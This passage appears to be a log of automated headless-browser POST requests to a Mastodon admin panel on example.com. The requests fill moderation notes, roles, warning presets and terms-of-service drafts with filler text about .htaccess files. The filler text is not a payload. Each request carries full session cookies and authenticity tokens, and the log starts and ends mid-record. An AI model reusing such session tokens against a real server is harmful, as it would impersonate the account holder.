gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MjYuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--52c7b5926651b23d91d8cb90d66df2b5c92e1191; _mastodon_session=dqfKXdGn7rpAJWbDf4xUWXgfJ%2B1P3yRbglvdgCEkuolsBEMMCdZSd%2Bfh3vDmhN13TpuAei4J0xhtfKv3T1Mqrer1B6EPcez5eF7M7TdzbkNs4pk3%2FC%2FcK9tCTqtQicBodw%2FeLD91xbxn9iSsaDp2jxmgQojIHtHBGDcX0rz5QoNdmrPJbzP5LFiWTnjfkkmmqA0SYGiP9M8fQk72N83IBMF65hKBeBnixwVSUQbDc23nWKbYfqYGqBz%2FPapP9UxFGUhI1Xyutf%2F0OA2%2B3QYLNcvojOVTnYUIETRCY6xXe20mAJPJH6XgeeknBwNLxkAXfkXQbmydaCghna5Egjcegk7q1dC1lFVsXjPRAsBNM3lVpVa2oRjDINlEA5kfd%2Fh6ALSrtlgLYyDa--%2FBdXifGO9k%2FaEUmA--g8a91lnpwy7nArYzegLyEg%3D%3D"], "body": "authenticity_token=DUJbvjl6yppqesLEBLG_iuk1Q_HkMKCRrrsYrjAa1Edb5z5J8ZXFK9FexIlMXclDLXrwfD8g8VNoq2I6O6LQKQ&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MzUuMDA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8b1e172f1c7a5f6e39ce9489a28ae8274b5f36fd; _mastodon_session=NltPQ7PL3G5%2FHBPCmFd79c3ci%2B4I2lcfqclQTfANAxXn43aL%2FwhPppiwQOBsB%2BaKiPrMwjJx6o97XgdnW4sriN2YXXx%2F%2F5N4Pi2c2g%2BG%2FV9Dl6V6h3zefFN%2BuI48r7cWCxi2KrdYvkrhLPUPg6U%2FpvOLch8Pdmess8lcOMvg94%2BY6t2Aj7caKXz5gvdPiic%2FlGhCFsp60e9DW1x3di1w3%2FcBNUI%2Bk1YhIWp8epOSwh%2BYozg9p3%2BL7dZ7H9I0Mg3FHhVhWLnLzT0a3DRIYdc9Mr85CM%2Fz06FeiBnVC4YVtezvUwyvjkdo%2F7OOmYAu0tOlkV43KaOdsDz4qn3nr2h3glDqYJw6mUVe2bfWRxyMs3zo84ofzKDznPS9uRR9ZZeWqWcbYfa4g5Vb--y0WcSeMDaCUhmTql--FoTC4Uu%2FwnOyLO%2BagBBXcA%3D%3D"], "body": "authenticity_token=ah1dpajJ5yY_kZ65_gHpFzDFB9o2xbow-o1NjQA00KGX1C372gPtG7xiw8wOB-aCLCGMRdrUSQ3dMJbmIfEaVQ&account_warning_preset%5Btitle%5D=python3+and+powershell+scripts+that+edit+.htaccess&account_warning_preset%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NDMuNTI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9906d0e453de47e483b391508ef38643ac95803; _mastodon_session=qC1PGRWyv%2Fyr%2BuDKnAvrO%2FwrBzvvTlWfkvrsEFXQbteOFUtRkv%2BijC0Z0JG8dEPDXoZvPE8zfOBjHcOjUJG48L716hbrVsHaHjBZ3tAuFS9DWwpUwkGlgZP1GkVFd3rWKb2hrC4iDbgV4o%2FYwVZrZS3DDYQfxDAN99bb%2BoQrfp2N0OLrCA%2F8rtlBrOC1nkz40xVwOGhMMuH8naw6NCS%2BWXV6HCt4e8JCAMJTnXGkAH057lQnV5zxKzlof%2FQTizthbfE85kPFxyBxaAPQgZW1cmVg73w4UVj0ruBktxXhALBkEzSe9XnNcqp2fIxlMKxqLm16MM8kMP7HqNd1GNCGyiVRgF4QF21b5qSJD80BJ70DhmHfXZ0mH90dnOddYCLB5fuRCEj3D4xh--rx5oDgEtUo6DRUoJ--L9HMW27wF750Y6w7dPOrLA%3D%3D"], "body": "authenticity_token=nzxc_g11vWGyI0MUzvzns1_s7ql61lXieMumQD8IeQHJgt9iuYw4u2VbTUBLLSWmHRltLhb3MnZhFWSePyOtlg&user_role%5Bname%5D=python3+and+powershell+scripts+that+edit+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 447", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NTIuMTY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d2b7eff6bda8a27d8f8fc3aacab6b3ddb921b1e9; _mastodon_session=akHV2WTZ2LD5b4w9CfBdeASEiMjNz6r3x7YqD%2FHfiJNMjmeYgvFYNRQkSUC%2FHoz0iWMNmhdBTgAb%2FWQq1P8CMjQQmMc3GIruUf8BF7aFegz0y6aUPZy03E%2F4KHzEYEqWFLoSs9PgQUR5WG4EgRE%2B1gq%2BDv%2Bhl%2BzAnnhOW4bGeDUH7EUe2%2BXM8rpF9uDnzB8yZYZV6wnKH8LDjiZ4G5VfeIRVwNnjCD6hk9gJarQKg%2B7eWrQoZRrU%2FAMBijK%2BP3YbdF%2F6VKqHkXZPxsk5cb07U%2BoVYz2ZsiNy7Xk4%2FAbSsfk91ZjuhyM8iFMbOwM3FRTEie9ov0WuGPD4jU8NgP%2Fr4A%2Fwd%2FupubKK%2FUPB5FJ%2B%2FYsJZBfuWqt8LAgC7TQ%2Fq7nj3DAu0SrQzYol--TOszd08RUI6Hc8kp--HnV3x%2FCb4XFDKxr0cxBLZQ%3D%3D"], "body": "_method=put&authenticity_token=DYaj53QDVmcnY9FS-tI4HD6wGq2GDzLxT3MZ1-GJpKhQDtCLWJNbAh-lGBfXcUeBYI56I3qzoL-85wfTdgIx_w&terms_of_service%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Bchangelog%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 430", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDAuODgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49894c60dfbba820df51b74e464488408930ec58; _mastodon_session=iU7SW181Dw%2FpL1GG533QpfQjGfRfxR7%2F34aJPOngRQCcy%2ByGL%2BKFT7rRRpT%2FtmI2Si6KZDFqpS0rAKFGSoxz53NSHMhAh24i33JUq0V%2BArAp0gMmHHzKYoVAcDk0UAiCzeK1tX73mX8xv%2BAQFM%2FERtrAshpftkDnAYvSIEslHgXzBVZ8K%2BoNO7W3x1SiC0lNLeoI3A2wKobogZ5ckFxKbzhtfraE2LJY3C%2B22ooyNCokxeB6ZBUQpA2TYQF%2FbF5LPTebeka%2FB8%2F85TfmJQvF5j9JtZt1ataxtDrFVFV8S1mRxlBi%2F9EFBs8TGlOqdNdHIUqniIWs8NWHwe0OH044ZDv8vPa9HuB%2F3SaIC1NSCk%2FkHjFqqLTIscShG0HLR3wdfIqUT3ZJsoyo--ByJHkEPDzZ0cxDvl--krk0XyN%2BTUNu2lcYdI5EhQ%3D%3D"], "body": "authenticity_token=l767WRHErniorVzX7hDt67o8cq_e_YRrmKjH6fQdL5s_NjfyMymMxnzvIfAqyWeu0snblN5PF9crsGB259nYMA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 199", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDkuNTkyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c4b5d3aec53dacaabdcc6c2e921fd5b01bf2c18; _mastodon_session=3QBPMJBku9WNiZazEEUTcFV6pKlvzbsT7gXh5Nzy%2BHyea0ILrbn1l7xhS0m3wzLvj6i%2F%2FB1zKtdul%2BSgzUmCFmrWncqFse5VUCSy0im8Q8pWuI%2FEP93CiphAdLXpoATmowUTRIDd1f2F%2BxcZOw8K8NGXUrTFypVuu2X41KV8typrJJG2ukjFHDvc2sghz%2BErVwk8o%2BHv8zjo7uF4hvbDwwwPUbCDcc5iriMJ6HUEwef7xFm7Y4pTTshD8JrIoHLcNDY0egz9gpF47CpOpffL8u57srSB%2FbSU%2Bcm%2FJKFbxBSSLExrp4FZnCuiRsdNMaXZFxHFCwTvo4Sdt1TCRvikjul0MKvUqfofVsQBK6P4VfNJ%2FrSTZsjAe11J%2FblR615mq0YGcwFqApht--WXNSjLfNS0HnC6B4--nutvcNNDDU0nJz0D%2FHbnlw%3D%3D"], "body": "authenticity_token=tSPoPblP8K0OkEbhtpvJaVxPTxiQymtlINoDK-mO6c4fA-FDnIl22bZ6Ovw51OQs2ZLj2_Fm8xX7qSad44RgNA&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 248", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MjAuMjE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e337cf3029ba392b7f09ecdd1933518913fddddc; _mastodon_session=ATs6OaOlS31KCVz8tHji8ZH4dn0ZbpRdsDrci9%2F2YShpPmI41tLIzlwlhvautG%2BdVve9Xs7sT8ssTueqhY4j4%2BGBg1v6ld2ITKbYzAf5mBuhbpsedc3qMgOXheCy%2FqEna0HiOQVuhW9G07fEGt%2F9qdh80j9uy%2FSG6g%2B08dNJgjWDILPEHkCDMuxXnhKR21LfREpQv1hpb0GIobYFNrRwuEjws96rtztzLBB02ZCe6M0LQhx3Se6a6aQNrUCHQ7TjESQa6kvq9oa0tncobt%2BkvtCiBjcKhCvB2SJ75pAg3oL4IZq4fcRLMj2uQ15OIAHzlQ19mDJX0vrq7Xm%2Fgsd7Hxt%2FCy5uPmYoWeCwGa7DrSTPeFu6UmQ%2FMX9HJo6XY1hBjCfPNcCdoC9%2B--YAPLMVeHKzAyshXh--rmNIq3n%2FZRmmzPZ08DH1jA%3D%3D"], "body": "authenticity_token=MRqdBhQXP46iBZlnz1zp917yxAkCh7gaqsnDMBRJWeRnv_jx3PgwPxkhnyqHsJ8-mr13hNmX6dhs2bmkH_Fdig&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 244", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MzEuODM5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8810e90dc433be1ba44410b3437e4799f846c8e; _mastodon_session=P210zwPkUaA6%2BAtwOC0ML6tw5baQVDzMoW5XBvzwUoa8mOhsmIRFoMmua0tymkqis16la6U5lbxHOwi6bxNyeYfwR7bMCp%2Fw5qM65A3hvm91mzYY5Goxj8u9slwK2RFD4rTtKgd7p4G6twFNxtqMFm7bztsYLO45X%2BQUjKpUIYYYy7BYRtDZ%2Fc1LiYuWeC3Zcclw5lVd3FCcWnvHPvuVB6ur7nwUhMifJxSg7SL1JGVqpKX9Qdd5xH8zGhKXprhBdsa8KvDjIaDh6DGn54RONeug%2FSIemud7tPgiaLkYmGnpDah2s3KTT7Ppe%2F5TifuSEjHCSejv60LNx0twfNY2gFtPqYsce5EnGzHRoFP2jB16YXcid7Lg4gFyay1yrvF4p3b9%2F5Y4vM3I--nDH6F1BO8hlJfgUl--yg6Egb21lWTT2%2B4wHansgA%3D%3D"], "body": "authenticity_token=UNmH3Iq9JeGaI26nrQyuq1n4gohEYaKAzHvjESB_PJOtEPeC-Hcv3BnQM9JdCqE-RRwJF6hwUb3rxjh6Abr2Zw&account_warning_preset%5Btitle%5D=ls+-la+shows+the+.htaccess+file&account_warning_preset%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 567", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NDMuMTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3f4be0d29e5e2d9e6660f05a178a6907b613968; _mastodon_session=H%2Fs6SGLSWeRWvoe%2B9HOgNS7MHS13%2B02UAb0hFqY5DJx6LdnnRwxA6VL%2Fky92SWuJILPbA9%2Bj46uneDuWybRSCYX01dZR9JiTDALZYWPRAO3OPDnNjl2fPexxRWn84HgHXUKiSn0F%2FH%2FEaEcBwaYb3xBH8eMIlWtIteG0sxqbmLPMmxvwBf6DF34CU0TNq3glCZG8BT2kgiN79D45I8xHYJ%2Bc6TdLhR2S0C7aZalJllvdHknfGXlrAvHDI2mjchI5oJRsSHGCKbNYT0Rb6L3vBdN61ntDc%2B4hbS6ZW7%2F5Htek%2F838uJp4s57WHka2W4fHc6%2BRXbQUbFvtNYQyXI8v7Efy4KC5d9ktQXQybBIr0SofB8THYnETw8lgFCjnkhWY0p9TBiOjs1G0--zu3JGEIWNo9aQSNI--mnDCcikLpqp7nMpkxAZyuw%3D%3D"], "body": "authenticity_token=NLy1Z6HP4BluJMMmz66ZufNuu0WbjSishNqzoBh1c-piAjb7FTZlw7lczXJKf1ussZs4wvesTzidBHF-GF6nfQ&user_role%5Bname%5D=ls+-la+shows+the+.htaccess+file&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 409", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NTUuMTc4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--eb6aa9e80a364bfd1d739f910933894bbdb3b842; _mastodon_session=JlI%2FgpN3pO5%2FjYoEkdkHVFytCQDYr3dChjujzui6flIgJt4MY7R77kkuLUBrHQ8cQsm882UfAvpQE5K7Kn0w2sxs4k9BAtTriXP9ZzuqE2wUwKRcs5JFmNNLsRrC0yFAB2Vrqo5o6k2eEChldu8nPKeuV23qm4Y%2BiXUsNCD55rhuYDeQi7b4M0%2BxcG3MBTERYozAhTPkQ9No%2FTQCi7dceo3VE02aY7T4xhJtnZv%2F%2Fzvgb4%2BiJOyhE0mXzpr62lod8k2BS%2BdiKlKbJTtXiJmp4f0oFXjGrTskdbSts06OYQj71BEHG9XZOfPLtEHLonD%2FKgqU9aeaL3NVzD8sA49hdXAjrff90sQdu9Pu2ORzDCzWtzoOKfEb%2FvbiUsQqlgy2mQ8UCGpU%2BTbw--jXQ5qo5Mp5ft6flw--bhXHX%2FLzpIKZ1syW0vgwyQ%3D%3D"], "body": "_method=put&authenticity_token=4tJ7f31IbMnroyiCKx46gIDXWXya9jlqtvWp6pHzFTi_WggTUdhhrNNl4ccGvUUd3uk58mZKqyRFYbfuBniAbw&terms_of_service%5Btext%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Bchangelog%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 499", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=U48SUvi%2BQv8bl2eoC%2BWo3Src9xcYkdTucsJM%2FNz%2Fbo4o4pAyHStCaNS3bVJWVVWqR3LbIuRE9GjF2DBVFcqkNxy8KS8lvJcaJuTCFjGufDcdwGY8GljElyGd5B9lVMFrcgfpb3h8Uu66Gohfga%2FY0B50ITg3mblcuFAzDOHxd5uc9hor73%2FvRdZNCEJn7F%2F5Efc94AAIklqSBAkyM6yKRQug9ajNgLtLj%2B3BgPbBdJ2M4zJdPdxXkDkexiefv7MYCpS2s1kMxw2%2FMViwUDDna0ZOBHxHwE1WMPaW4wiXGXG9kyNVPuAERzZbhK%2Fj1f4sNG9zumNxdYZKouWc%2BqdymDmrOkacgbSa5MIMX1ptZd4laxGxQpfJBo35CtLg--Me9oz2Kua8c7MCqq--EoEPVGJHgOX%2FqrgGYqp9ZQ%3D%3D"], "body": 